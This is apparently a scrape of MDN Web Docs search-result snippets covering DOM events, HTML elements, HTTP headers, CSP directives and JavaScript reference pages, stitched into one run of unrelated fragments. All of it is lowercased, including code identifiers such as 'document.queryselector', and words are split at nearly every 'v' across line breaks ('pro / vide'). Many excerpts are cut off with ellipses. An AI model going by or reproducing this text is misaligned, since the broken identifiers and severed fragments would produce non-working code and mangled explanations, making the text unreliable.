elem.dispatchevent(event); event bubbling it is often desirable to trigger an event from a child element, and have an ancestor catch it; optionally, with data: <form> <textarea></textarea> </form> const form = document.queryselector('form'); const textarea = document.queryselector('textarea'); // create a new event, allow bubbling, and pro
vide any data you want to pass to the "detail" property const eventawesome = new customevent('awesome', { bubbles: true, detail: { text: () => textarea.value } }); // the form element listens for the custom "awesome" event and then consoles the output of the passed text() method form.addeventlistener('awesome', e => console.log(e.detail.text())); // as the user types, the textarea inside the f...
...
view the example in action.
... function simulateclick() { const event = new mouseevent('click', {
view: window, bubbles: true, cancelable: true }); const cb = document.getelementbyid('checkbox'); const cancelled = !cb.dispatchevent(event); if (cancelled) { // a handler called preventdefault.
Media events - Developer guides
various events are sent when handling media that are embedded in html documents using the <audio> and <
video> elements; this section lists them and pro
vides some helpful information about using them.
... mozaudioavailable sent when an audio buffer is pro
vided to the audio layer for processing; the buffer contains raw audio samples that may or may not already have been played by the time you receive the event.
... you can easily watch for these events, using code such as the following: var v = document.getelementsbytagname("
video")[0]; v.addeventlistener("seeked", function() { v.play(); }, true); v.currenttime = 10.0; this example fetches the first
video element in the document and attaches an event listener to it, watching for the seeked event, which is sent whenever a seek operation completes.
Localizations and character encodings - Developer guides
additionally, there is a small number of locales where in the 1990s there wasn't an ob
vious single region-specific encoding and heuristic detection among multiple legacy encodings was introduced to web browsers.
...note that the fallback encoding as defined by the pre
vious sentence does not necessarily need to be able to represent the characters needed for the language of the localization!
...iso-8859-1 is decoded in the exact same way as windows-1252, but firefox is mo
ving to treating windows-1252 as the preferred label for this encoding in accordance with the encoding standard.
The Unicode Bidirectional Text Algorithm - Developer guides
understanding this algorithm in at least basic terms is helpful when you're stri
ving to produce localization-ready web content or apps.
... fundamentals (base direction, character types, etc) the algorithm character level directionality directional runs (what they are, how base direction applies) handling neutral characters overriding the algorithm content about using html and css to override the default beha
vior of the algorithm; include info about isolating ranges etc.
... overiding bidi using unicode control characters unicode pro
vides a number of special control characters that make it possible to control directionality of ranges of text.
disabled - HTML: Hypertext Markup Language
here are examples of a disabled checkbox, radio button, <option> and <optgroup>, as well as some form controls that are disabled
via the disabled attribute set on the ancestor <fieldset> element.
...</option> <option>disabled 3.3</option> </optgroup> </select> </label> </p> <fieldset disabled> <legend>disabled fieldset</legend> <p> <label>name: <input type="name" name="radio" value="regular"> regular </label> </p> <p> <label>number: <input type="number"></label> </p> </fieldset> specifications specification status comment html li
ving standardthe definition of 'disabled attribute' in that specification.
... li
ving standard html5the definition of 'disabled attribute' in that specification.
HTML attribute: size - HTML: Hypertext Markup Language
adding size on a select changes the height, definining how many options are
visible in the closed state.
... <option>banana</option> <option>cherry</option> <option>strawberry</option> <option>durian</option> <option>blueberry</option> </select> <select name="vegetables" size="5"> <option>carrot</option> <option>cucumber</option> <option>cauliflower</option> <option>celery</option> <option>collard greens</option> </select> specifications specification status html li
ving standardthe definition of 'size attribute' in that specification.
... li
ving standard html 5.1the definition of 'size attribute' in that specification.
<acronym> - HTML: Hypertext Markup Language
summary the html acronym element (<acronym>) allows authors to clearly indicate a sequence of characters that compose an acronym or abbre
viation for a word.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetacronym deprecatednon-standardchrome full support yesedge full support 12firefox full support yesie full support yesopera ...
... full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full supportnon-standard.
<b>: The Bring Attention To element - HTML: Hypertext Markup Language
usage notes use the <b> for cases like keywords in a summary, product names in a re
view, or other spans of text whose typical presentation would be boldfaced (but not including any special importance).
...</p> keywords are displayed with the default style of the <b>element, likely in bold.</b> result specifications specification status comment html li
ving standardthe definition of '<b>' in that specification.
... li
ving standard html5the definition of '<b>' in that specification.
<bdo>: The Bidirectional Text Override element - HTML: Hypertext Markup Language
the text's characters are drawn from the starting point in the given direction; the indi
vidual characters' orientation is not affected (so characters don't get drawn backward, for example).
... specifications specification status comment html li
ving standardthe definition of '<bdo>' in that specification.
... li
ving standard html5the definition of '<bdo>' in that specification.
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontent deprecatednon-standardchrome full support 35edge full support 79firefox no support 33 — 59disabled no support 33 — 59disabled disabled from version 33 until ver...
...to change preferences in firefox,
visit about:config.ie no support noopera full support 26safari no support noweb
view android full support 37chrome android full support 37firefox android no support 33 — 59disabled no support 33 — 59disabled disabled from version 33 until version 59 (exclusive): this feature is behind the dom.webcomponents.enabled preference (needs to be set to true).
... to change preferences in firefox,
visit about:config.opera android ?
<dl>: The Description List element - HTML: Hypertext Markup Language
the element encloses a list of groups of terms (specified using the <dt> element) and descriptions (pro
vided by <dd> elements).
... codepen - html buddies: dt & dd specifications specification status comment html li
ving standardthe definition of '<dl>' in that specification.
... li
ving standard html5the definition of '<dl>' in that specification.
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
as the example above shows, the <fieldset> element pro
vides a grouping for a part of an html form, with a nested <legend> element pro
viding a caption for the <fieldset>.
... implicit aria role group permitted aria roles radiogroup, presentation, none dom interface htmlfieldsetelement specifications specification status comment html li
ving standardthe definition of '<fieldset>' in that specification.
... li
ving standard definition of the fieldset element html5the definition of '<fieldset>' in that specification.
<footer> - HTML: Hypertext Markup Language
implicit aria role contentinfo, or no corresponding role if a descendant of an article, aside, main, nav or section element, or an element with role=article, complementary, main, na
vigation or region permitted aria roles group, presentation or none dom interface htmlelement attributes this element only includes the global attributes.
... webkit bugzilla: 146930 – ax: html native elements (header, footer, main, aside, nav) should work the same as aria landmarks, sometimes they don't specifications specification status comment html li
ving standardthe definition of '<footer>' in that specification.
... li
ving standard html5the definition of '<footer>' in that specification.
<head>: The Document Metadata (Header) element - HTML: Hypertext Markup Language
for human-
visible information, like top-level headings and listed authors, see the <header> element.
... specifications specification status comment html li
ving standardthe definition of '<head>' in that specification.
... li
ving standard no change from latest shapshot html5the definition of '<head>' in that specification.
<hr>: The Thematic Break (Horizontal Rule) element - HTML: Hypertext Markup Language
while it may still be displayed as a horizontal rule in
visual browsers, this element is now defined in semantic terms, rather than presentational terms, so if you wish to draw a horizontal line, you should do so using appropriate css.
...</p> result specifications specification status comment html li
ving standardthe definition of '<hr>' in that specification.
... li
ving standard definition of the <hr> element html5the definition of '<hr>' in that specification.
<html>: The HTML Document / Root element - HTML: Hypertext Markup Language
example <!doctype html> <html lang="en"> <head>...</head> <body>...</body> </html> accessibility concerns pro
viding a lang attribute with a valid ietf identifying language tag on the <html> element will help screen reading technology determine the proper language to announce.
... mdn understanding wcag, guideline 3.1 explanations understanding success criterion 3.1.1 | w3c understanding wcag 2.0 specifications specification status comment html li
ving standardthe definition of '<html>' in that specification.
... li
ving standard html5the definition of '<html>' in that specification.
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
html "0.c" - from january 23, 1991 though november 23, 1992 this early version of html introduced <nextid> in a non-sgml compliant form that simply used the numeric value alone as an "attribute." html "0.d" - from november 26, 1992 through may 24, 1993 during this span, next and the oldest sur
viving dtd's show <nextid> to take only a number for a value of its newly-introduced attribute n.
... html "1.m" - version 1 (second release) in the next published draft of html, <nextid> <nextid> can be indi
vidually deselected for display with a simple sgml command.
...elements, along with such constructs as nesting a header (<h*> element) within a link (<a> element) html version 2 level 2 this is the default and includes and permits all html level 2 functions and elements and attributes html version 2 strict level 2 this excludes these depreciated elements and also forbids such constructs as nesting a header (<h*> element) within a link (<a> element), or ha
ving a forms <input> element which is not within a block level element such as <p> html version 3.2 <nextid> has vanished altogether, never to be heard from again.
<object> - HTML: Hypertext Markup Language
tabindexhtml 4 onlyobsolete since html5 the position of the element in the tabbing na
vigation order for the current document.
...no percentages) examples embed a flash mo
vie <!-- embed a flash mo
vie --> <object data="mo
vie.swf" type="application/x-shockwave-flash"></object> <!-- embed a flash mo
vie with parameters --> <object data="mo
vie.swf" type="application/x-shockwave-flash"> <param name="foo" value="bar"> </object> specifications specification status comment html li
ving standardthe definition of '<object>' in that specificat...
... li
ving standard html5the definition of '<object>' in that specification.
<output>: The Output element - HTML: Hypertext Markup Language
examples in the following example, the form pro
vides a slider whose value can range between 0 and 100, and an <input> element into which you can enter a second number.
... specifications specification status comment html li
ving standardthe definition of '<output>' in that specification.
... li
ving standard html5the definition of '<output>' in that specification.
<slot> - HTML: Hypertext Markup Language
specifications specification status comments html li
ving standardthe definition of '<slot>' in that specification.
... li
ving standard domthe definition of 'slots' in that specification.
... li
ving standard ...
<small>: the side comment element - HTML: Hypertext Markup Language
<span style="font-size:0.8em">this whole sentence is in small letters.</span> </p> specifications specification status comments html li
ving standardthe definition of '<small>' in that specification.
... li
ving standard html5the definition of '<small>' in that specification.
... recommendation notes although the <small> element, like the <b> and <i> elements, may be perceived to
violate the principle of separation between structure and presentation, all three are valid in html5.
<summary>: The Disclosure Summary element - HTML: Hypertext Markup Language
basic example a simple example showing the use of <summary> in a <details> element: <details open> <summary>over
view</summary> <ol> <li>cash on hand: $500.00</li> <li>current invoice: $75.30</li> <li>due date: 5/6/19</li> </ol> </details> summaries as headings you can use heading elements in <summary>, like this: <details open> <summary><h4>over
view</h4></summary> <ol> <li>cash on hand: $500.00</li> <li>current invoice: $75.30</li> <li>due date: 5/6/19</li> </ol> </det...
... html in summaries this example adds some semantics to the <summary> element to indicate the label as important: <details open> <summary><strong>over
view</strong></summary> <ol> <li>cash on hand: $500.00</li> <li>current invoice: $75.30</li> <li>due date: 5/6/19</li> </ol> </details> specifications specification status comment html li
ving standardthe definition of '<summary>' in that specification.
... li
ving standard html 5.1the definition of '<summary>' in that specification.
<th> - HTML: Hypertext Markup Language
abbr this attribute contains a short abbre
viated description of the cell's content.
... specifications specification status comment html li
ving standardthe definition of 'th element' in that specification.
... li
ving standard html5the definition of 'th element' in that specification.
<var>: The Variable element - HTML: Hypertext Markup Language
it's typically presented using an italicized version of the current typeface, although that beha
vior is browser-dependent.
... result specifications specification status comment html li
ving standardthe definition of '<var>' in that specification.
... li
ving standard html5the definition of '<var>' in that specification.
<wbr> - HTML: Hypertext Markup Language
example the yahoo style guide recommends breaking a url before punctuation, to avoid lea
ving a punctuation mark at the end of the line, which the reader might mistake for the end of the url.
... <p>http://this<wbr>.is<wbr>.a<wbr>.really<wbr>.long<wbr>.example<wbr>.com/with<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages</p> specifications specification status comment html li
ving standardthe definition of '<wbr>' in that specification.
... li
ving standard html5the definition of '<wbr>' in that specification.
is - HTML: Hypertext Markup Language
// create a class for the element class wordcount extends htmlparagraphelement { constructor() { // always call super first in constructor super(); // constructor contents ommitted for bre
vity ...
... } } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); <p is="word-count"></p> specifications specification status comment html li
ving standardthe definition of 'is' in that specification.
... li
ving standard ...
itemref - HTML: Hypertext Markup Language
itemref pro
vides a list of element ids (not itemids) elsewhere in the document, with additional properties the itemref attribute can only be specified on elements that have an itemscope attribute specified.
... working draft html li
ving standardthe definition of 'itemref' in that specification.
... li
ving standard ...
slot - HTML: Hypertext Markup Language
specifications specification status comment html li
ving standardthe definition of 'slot attribute' in that specification.
... li
ving standard domthe definition of 'slot attribute' in that specification.
... li
ving standard ...
spellcheck - HTML: Hypertext Markup Language
specifications specification status comment html li
ving standardthe definition of 'spellcheck' in that specification.
... li
ving standard no change from latest snapshot, html 5.1 html 5.1the definition of 'spellcheck' in that specification.
... recommendation snapshot of html li
ving standard, initial definition ...
translate - HTML: Hypertext Markup Language
<footer> <small>© 2020 <span translate="no">brandname</span></small> </footer> specifications specification status comment html li
ving standardthe definition of 'translate' in that specification.
... li
ving standard no change from latest snapshot, html 5.1 html 5.1the definition of 'translate' in that specification.
... recommendation snapshot of html li
ving standard, initial definition ...
Link types: modulepreload - HTML: Hypertext Markup Language
the modulepreload keyword for the rel attribute of the <link> element pro
vides a declarative way to preemptively fetch a module script and its dependencies, and store them in the document's module map for later evaluation.
... specifications specification status comment html li
ving standardthe definition of 'modulepreload' in that specification.
... li
ving standard ...
Link types: noreferrer - HTML: Hypertext Markup Language
the noreferrer keyword for the rel attribute of the <a>, <area>, and <form> elements instructs the browser, when na
vigating to the target resource, to omit the referer header and otherwise leak no referrer information — and additionally to behave as if the noopener keyword were also specified.
... specifications specification status comment html li
ving standardthe definition of 'noreferrer' in that specification.
... li
ving standard ...
Link types: prefetch - HTML: Hypertext Markup Language
the prefetch keyword for the rel attribute of the <link> element is a hint to browsers that the user is likely to need the target resource for future na
vigations, and therefore the browser can likely improve the user experience by preemptively fetching and caching the resource.
... specifications specification status comment html li
ving standardthe definition of 'prefetch' in that specification.
... li
ving standard ...
Link types: preload - HTML: Hypertext Markup Language
the preload keyword for the rel attribute of the <link> element indicates the user is highly likely to require the target resource for the current na
vigation, and therefore the browser must preemptively fetch and cache the resource.
... specifications specification status comment html li
ving standardthe definition of 'preload' in that specification.
... li
ving standard ...
Link types: prerender - HTML: Hypertext Markup Language
the prerender keyword for the rel attribute of the <link> element is a hint to browsers that the user might need the target resource for the next na
vigation, and therefore the browser can likely improve the user experience by preemptively fetching and processing the resource — for example, by fetching its subresources or performing some rendering in the background offscreen.
... specifications specification status comment html li
ving standardthe definition of 'prerender' in that specification.
... li
ving standard ...
Basics of HTTP - HTTP
articles over
view of http describes what http is and its role in web architecture, including its position in the protocol stack.
... choosing between www and non-www urls this article pro
vides guidance on how to choose whether to use a www-prefixed domain or not, along with the consequences of that choice.
... connection management in http/2 http/2 completely re
visited how connections are created and maintained.
Reason: CORS request not HTTP - HTTP
to fix this problem, simply make sure you use https urls when issuing requests invol
ving cors, such as xmlhttprequest, fetch apis, web fonts (@font-face), and webgl textures, and xsl stylesheets.
...resources in the same directory and its subdirectories were treated as ha
ving the same origin for purposes of the cors same-origin rule.
...this new beha
vior is enabled by default using the privacy.file_unique_origin preference.
Using Feature Policy - HTTP
writing a policy a policy is described using a set of indi
vidual policy directives.
... specifying your policy feature policy pro
vides two ways to specify policies to control features: the feature-policy http header.
... enforcing best practices for good user experiences it's difficult to build a website that uses all the latest best practices and pro
vides great performance and user experiences.
CSP: media-src - HTTP
the http content-security-policy (csp) media-src directive specifies valid sources for loading media using the <audio> and <
video> elements.
...it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... examples
violation cases given this csp header: content-security-policy: media-src https://example.com/ the following <audio>, <
video> and <track> elements are blocked and won't load: <audio src="https://not-example.com/audio"></audio> <
video src="https://not-example.com/
video"> <track kind="subtitles" src="https://not-example.com/subtitles"> </
video> specifications specification status ...
CSP: object-src - HTTP
elements controlled by object-src are perhaps coincidentally considered legacy html elements and aren't recei
ving new standardized features (such as the security attributes sandbox or allow for <iframe>).
...it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... examples
violation cases given this csp header: content-security-policy: object-src https://example.com/ the following <object>, <embed>, and <applet> elements are blocked and won't load: <embed src="https://not-example.com/flash"></embed> <object data="https://not-example.com/plugin"></object> <applet archive="https://not-example.com/java"></applet> specifications specification status c...
CSP: script-src - HTTP
it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... 'report-sample' requires a sample of the
violating code to be included in the
violation report.
... examples
violation case given this csp header: content-security-policy: script-src https://example.com/ the following script is blocked and won't be loaded or executed: <script src="https://not-example.com/js/library.js"></script> note that inline event handlers are blocked as well: <button id="btn" onclick="dosomething()"> you should replace them with addeventlistener calls: document.getelementbyid("btn").addeventlistener('click', dosomething); unsafe inline script note: disallowing inline styles and inline scripts is one of the biggest security wins csp pro
vides.
CSP: style-src-attr - HTTP
the http content-security-policy (csp) style-src-attr directive specifies valid sources for inline styles applied to indi
vidual dom elements.
...it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... 'report-sample' requires a sample of the
violating code to be included in the
violation report.
CSP: worker-src - HTTP
the http content-security-policy (csp) worker-src directive specifies valid sources for worker, sharedworker, or ser
viceworker scripts.
...it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... examples
violation cases given this csp header: content-security-policy: worker-src https://example.com/ worker, sharedworker, ser
viceworker are blocked and won't load: <script> var blockedworker = new worker("data:application/javascript,..."); blockedworker = new sharedworker("https://not-example.com/"); na
vigator.ser
viceworker.register('https://not-example.com/sw.js'); </script> specifications ...
Cross-Origin-Resource-Policy - HTTP
note: due to a bug in chrome, setting cross-origin-resource-policy can break pdf rendering, preventing
visitors from being able to read past the first page of some pdfs.
...exercise caution using this header in a production en
vironment.
... specifications specification status comment fetch li
ving standard initial definition ...
ETag - HTTP
often, a hash of the content, a hash of the last modification timestamp, or just a re
vision number is used.
... for example, when editing mdn, the current wiki content is hashed and put into an etag in the response: etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" when sa
ving changes to a wiki page (posting data), the post request will contain the if-match header containing the etag values to check freshness against.
...if a user
visits a given url again (that has an etag set), and it is stale (too old to be considered usable), the client will send the value of its etag along in an if-none-match header field: if-none-match: "33a64df551425fcc55e4d42a148795d9f25f89d4" the server compares the client's etag (sent with if-none-match) with the etag for its current version of the resource, and if both values match (that is, the resource has not changed), the server sends back a 304 not modified status, without a body, w...
Feature-Policy: xr-spatial-tracking - HTTP
the http feature-policy header xr-spatial-tracking directive controls whether the current document is allowed to use the webxr de
vice api.
... this policy controls whether na
vigator.xr.requestsession() can return xrsession that requires spatial tracking and whether user agent can indicate support for sessions supporting spatial tracking
via na
vigator.xr.issessionsupported() and de
vicechange event on na
vigator.xr object.
... specifications specification status comment webxr de
vice apithe definition of 'permissions policy' in that specification.
Origin - HTTP
note: the origin header is not set on fetch requests with a method of head or get (this beha
vior was corrected in firefox 65 — see bug 1508661).
... <hostname> the domain name of the server (for
virtual hosting) or the ip.
...if no port is given, the default port for the ser
vice requested (e.g., "80" for an http url) is implied.
Referer - HTTP
the referer request header contains the address of the pre
vious web page from which a link to the currently requested page was followed.
... the referer header allows servers to identify where people are
visiting them from and may use that data for analytics, logging, or optimized caching, for example.
... header type request header forbidden header name yes syntax referer: <url> directives <url> an absolute or partial address of the pre
vious web page from which a link to the currently requested page was followed.
Sec-Fetch-User - HTTP
the sec-fetch-user fetch metadata header indicates whether or not a na
vigation request was triggered by a user activation.
... ?0 the na
vigation request was triggered by a user activation.
... ?1 the na
vigation request was triggered by something other than a user activation.
Set-Cookie - HTTP
lax: the cookie is withheld on cross-site subrequests, such as calls to load images or frames, but is sent when a user na
vigates to the url from an external site, such as by following a link.
... asserts that a cookie must not be sent with cross-origin requests, pro
viding some protection against cross-site request forgery attacks (csrf).
... the following cookie will be rejected if set by a server hosted on originalcompany.com: set-cookie: qwerty=219ffwef9w0f; domain=somecompany.co.uk a cookie for a sub domain of the ser
ving domain will be rejected.
X-DNS-Prefetch-Control - HTTP
examples turning on and off prefetching you can either send the x-dns-prefetch-control header server-side, or from indi
vidual documents, using the http-equiv attribute on the <meta> element, like this: <meta http-equiv="x-dns-prefetch-control" content="off"> you can reverse this setting by setting content to "on".
... forcing lookup of specific hostnames you can force the lookup of specific hostnames without pro
viding specific anchors using that hostname by using the rel attribute on the <link> element with a link type of dns-prefetch: <link rel="dns-prefetch" href="https://www.mozilla.org/contribute/"> in this example, the domain name "www.mozilla.org/contribute" will be pre-resolved.
... similarly, the link element can be used to resolve hostnames without pro
viding a complete url, but only, by preceding the hostname with two slashes: <link rel="dns-prefetch" href="//www.mozilla.org/contribute/"> forced prefetching of hostnames might be useful, for example, on the homepage of a site to force pre-resolution of domain names that are referenced frequently throughout the site even though they are not used on the home page itself.
POST - HTTP
a post request is typically sent
via an html form and results in a change on the server.
... text/plain when the post request is sent
via a method other than an html form — like
via an xmlhttprequest — the body can take any type.
... as described in the http 1.1 specification, post is designed to allow a uniform method to cover the following functions: annotation of existing resources posting a message to a bulletin board, newsgroup, mailing list, or similar group of articles; adding a new user through a signup modal; pro
viding a block of data, such as the result of submitting a form, to a data-handling process; extending a database through an append operation.
HTTP resources and specifications - HTTP
proposed standard rfc 2817 upgrading to tls within http/1.1 proposed standard rfc 7540 hypertext transfer protocol version 2 (http/2) proposed standard rfc 7541 hpack: header compression for http/2 on the standard track rfc 7838 http alternative ser
vices on the standard track rfc 7301 transport layer security (tls) application-layer protocol negotiation extension used to negotiate http/2 at the transport to save an extra request/response round trip.
... cross-origin resource sharing li
ving standard rfc 7034 http header field x-frame-options informational rfc 6797 http strict transport security (hsts) proposed standard upgrade insecure requests upgrade insecure requests candidate recommendation content security policy 1.0 content security policy 1.0 csp 1.1 and csp 3.0 doesn't extend the http standard obsolete microsoft document specifying legacy document modes* defines x-ua-compatible note rfc 5689 http extensions for web distributed authoring and versioning (webdav) these extensions of the ...
... proposed standard rfc 2324 hyper text coffee pot control protocol (htcpcp/1.0) april 1st joke spec rfc 7168 the hyper text coffee pot control protocol for tea efflux appliances (htcpcp-tea) april 1st joke spec html li
ving standard html defines extensions of http for server-sent events li
ving standard tracking preference expression dnt header editor's draft / candidate recommendation reporting api report-to header draft draft spec expect-ct extension for http ietf draft ...
About the JavaScript reference - JavaScript
the javascript language is intended to be used within some larger en
vironment, be it a browser, server-side scripts, or similar.
... for the most part, this reference attempts to be en
vironment-agnostic and does not target a web browser en
vironment.
...once you have a firm grasp of the fundamentals, you can use the reference to get more details on indi
vidual objects and language constructs.
Classes - JavaScript
this beha
vior will be the same even if the "use strict" directive isn't present, because code within the class body's syntactic boundary is always executed in strict mode.
...by defining things which are not
visible outside of the class, you ensure that your classes' users can't depend on internals, which may change version to version.
...the functionality must be pro
vided by the superclass.
Deprecated and obsolete features - JavaScript
string.prototype.substr probably won't be removed anytime soon, but it's defined in annex b of the ecma-262 standard, whose introduction states: "… programmers should not use or assume the existence of these features and beha
viours when writing new ecmascript code.
... object.observe() asynchronously obser
ving the changes to an object.
... array property description array.observe() asynchronously obser
ving changes to arrays.
TypeError: X.prototype.y called on incompatible type - JavaScript
this issue can arise when using the function.prototype.call() or function.prototype.apply() methods, and pro
viding a this argument which does not have the expected type.
... this issue can also happen when pro
viding a function that is stored as a property of an object as an argument to another function.
...to work-around this issue, you will either need to pro
vide a lambda which is making the call, or use the function.prototype.bind() function to force the this argument to the expected object.
RangeError: invalid date - JavaScript
the javascript exception "invalid date" occurs when a string leading to an invalid date has been pro
vided to date or date.parse().
... message rangeerror: invalid date (edge) rangeerror: invalid date (firefox) rangeerror: invalid time value (chrome) rangeerror: pro
vided date is not in valid range (chrome) error type rangeerror what went wrong?
... a string leading to an invalid date has been pro
vided to date or date.parse().
SyntaxError: missing formal parameter - JavaScript
declarations require identifier as parameters, and only when calling (invoking) the function, you pro
vide the values the function should use.
... examples pro
vide proper function parameters function parameters must be identifiers when setting up a function.
... all these function declarations fail, as they are pro
viding values for their parameters: function square(3) { return number * number; }; // syntaxerror: missing formal parameter function greet("howdy") { return greeting; }; // syntaxerror: missing formal parameter function log({ obj: "value"}) { console.log(arg) }; // syntaxerror: missing formal parameter you will need to use identifiers in function declarations: function square(number) { return number * number; }; function greet(greeting) { return greeting; }; function log(arg) { console.log(arg) }; you can then call these functions with the arguments you like: square(2); // 4 greet("howdy"); // "howdy" log({obj: "value"}); // object { obj: "value" } ...
TypeError: More arguments needed - JavaScript
more arguments need to be pro
vided.
...more arguments need to be pro
vided.
... examples required arguments not pro
vided the object.create() method requires at least one argument and the object.setprototypeof() method requires at least two arguments: var obj = object.create(); // typeerror: object.create requires at least 1 argument, but only 0 were passed var obj = object.setprototypeof({}); // typeerror: object.setprototypeof requires at least 2 arguments, but only 1 were passed you can fix this by setting null as the prototype, for example: var obj = object.create(null); var obj = object.setprototypeof({}, null); ...
TypeError: "x" is not a function - JavaScript
some code expects you to pro
vide a function, but that didn't happen.
...you will have to pro
vide a function in order to have these methods working properly: when working with array or typedarray objects: array.prototype.every(), array.prototype.some(), array.prototype.foreach(), array.prototype.map(), array.prototype.filter(), array.prototype.reduce(), array.prototype.reduceright(), array.prototype.find() when working with map and set objects: map.prototype.foreach() and set.prototype.foreach() examples a typo in the function name in this case, which hap...
...pens way too often, there is a typo in the method name: let x = document.getelementbyid('foo'); // typeerror: document.getelementbyid is not a function the correct function name is getelementbyid: let x = document.getelementbyid('foo'); function called on the wrong object for certain methods, you have to pro
vide a (callback) function and it will work on specific objects only.
arguments.callee - JavaScript
avoid using arguments.callee() by either gi
ving function expressions a name or use a function declaration where a function must call itself.
...basically it means that any call site that may have been tri
vially inlinable accumulates a large number of guards: function f(a, b, c, d, e) { return a ?
... b * c : d * e; } if the javascript interpreter cannot guarantee that all the pro
vided arguments are numbers at the point that the call is made, it needs to either insert checks for all the arguments before the inlined code, or it cannot inline the function.
Array.prototype.concat() - JavaScript
the concat method does not alter this or any of the arrays pro
vided as arguments but instead returns a shallow copy that contains copies of the same elements combined from the original arrays.
...that is, if a referenced object is modified, the changes are
visible to both the new and original arrays.
...furthermore, any operation on the new array (except operations on elements which are object references) will have no effect on the original arrays, and
vice versa.
Array.prototype.indexOf() - JavaScript
if the pro
vided index value is a negative number, it is taken as the offset from the end of the array.
... note: if the pro
vided index is negative, the array is still searched from front to back.
... if the pro
vided index is 0, then the whole array will be searched.
ArrayBuffer - JavaScript
it is an array of bytes, often referred to in other languages as a "byte array".you cannot directly manipulate the contents of an arraybuffer; instead, you create one of the typed array objects or a data
view object which represents the buffer in a specific format, and use that to read and write the contents of the buffer.
... static methods arraybuffer.is
view(arg) returns true if arg is one of the arraybuffer
views, such as typed array objects or a data
view.
... examples creating an arraybuffer in this example, we create a 8-byte buffer with a int32array
view referring to the buffer: const buffer = new arraybuffer(8); const
view = new int32array(buffer); specifications specification ecmascript (ecma-262)the definition of 'arraybuffer' in that specification.
BigInt.prototype.toLocaleString() - JavaScript
syntax bigintobj.tolocalestring([locales [, options]]) parameters the locales and options arguments customize the beha
vior of the function and let applications specify the language whose formatting conventions should be used.
... performance when formatting large numbers of numbers, it is better to create a numberformat object and use the function pro
vided by its numberformat.format property.
...chinese decimal console.log(bigint.tolocalestring('zh-hans-cn-u-nu-hanidec')); // → 一二三,四五六,七八九,一二三,四五六,七八九 // when requesting a language that may not be supported, such as // balinese, include a fallback language, in this case indonesian console.log(bigint.tolocalestring(['ban', 'id'])); // → 123.456.789.123.456.789 using options the results pro
vided by tolocalestring can be customized using the options argument: var bigint = 123456789123456789n; // request a currency format console.log(bigint.tolocalestring('de-de', { style: 'currency', currency: 'eur' })); // → 123.456.789.123.456.789,00 € // the japanese yen doesn't use a minor unit console.log(bigint.tolocalestring('ja-jp', { style: 'currency', currency: 'jpy' })) // → ¥123,...
Date.prototype.setDate() - JavaScript
for example, if 0 is pro
vided for dayvalue, the date will be set to the last day of the pre
vious month.
... if a negative number is pro
vided for dayvalue, the date will be set counting backwards from the last day of the pre
vious month.
... -1 would result in the date being set to 1 day before the last day of the pre
vious month.
Function.prototype.call() - JavaScript
the call() method calls a function with a given this value and arguments pro
vided indi
vidually.
... call() pro
vides a new value of this to the function/method.
... with call(), you can write a method once and then inherit it in another object, without ha
ving to rewrite the method for the new object.
Int8Array() constructor - JavaScript
buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a new typed array
view is created that
views the specified arraybuffer.
... the byteoffset and length parameters specify the memory range that will be exposed by the typed array
view.
... if both are omitted, all of buffer is
viewed; if only length is omitted, the remainder of buffer is
viewed.
Intl.Collator.supportedLocalesOf() - JavaScript
the intl.collator.supportedlocalesof() method returns an array containing those of the pro
vided locales that are supported in collation without ha
ving to fall back to the runtime's default locale.
... return value an array of strings representing a subset of the given locale tags that are supported in collation without ha
ving to fall back to the runtime's default locale.
... description returns an array with a subset of the language tags pro
vided in locales.
Intl.Collator - JavaScript
static methods intl.collator.supportedlocalesof() returns an array containing those of the pro
vided locales that are supported without ha
ving to fall back to the runtime's default locale.
... using locales the results pro
vided by collator.prototype.compare() vary between languages.
...the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: // in german, ä sorts with a console.log(new intl.collator('de').compare('ä', 'z')); // → a negative value // in swedish, ä sorts after z console.log(new intl.collator('sv').compare('ä', 'z')); // → a positive value using options the results pro
vided by collator.prototype.compare() can be customized using the options argument: // in german, ä has a as the base letter console.log(new intl.collator('de', { sensiti
vity: 'base' }).compare('ä', 'a')); // → 0 // in swedish, ä and a are separate base letters console.log(new intl.collator('sv', { sensiti
vity: 'base' }).compare('ä', 'a')); // → a positive value specifications ...
Intl.DateTimeFormat.supportedLocalesOf() - JavaScript
the intl.datetimeformat.supportedlocalesof() method returns an array containing those of the pro
vided locales that are supported in date and time formatting without ha
ving to fall back to the runtime's default locale.
... return value an array of strings representing a subset of the given locale tags that are supported in date and time formatting without ha
ving to fall back to the runtime's default locale.
... description returns an array with a subset of the language tags pro
vided in locales.
Intl.DisplayNames.prototype.resolvedOptions() - JavaScript
style the value pro
vided for this property in the options argument of the constructor or the default value ("long").
... type the value pro
vided for this property in the options argument of the constructor or the default value ("language").
... fallback the value pro
vided for this property in the options argument of the constructor or the default value ("code").
Intl.DisplayNames.supportedLocalesOf() - JavaScript
the intl.displaynames.supportedlocalesof() method returns an array containing those of the pro
vided locales that are supported in date and time formatting without ha
ving to fall back to the runtime's default locale.
... return value an array of strings representing a subset of the given locale tags that are supported in date and time formatting without ha
ving to fall back to the runtime's default locale.
... description returns an array with a subset of the language tags pro
vided in locales.
Intl.DisplayNames - JavaScript
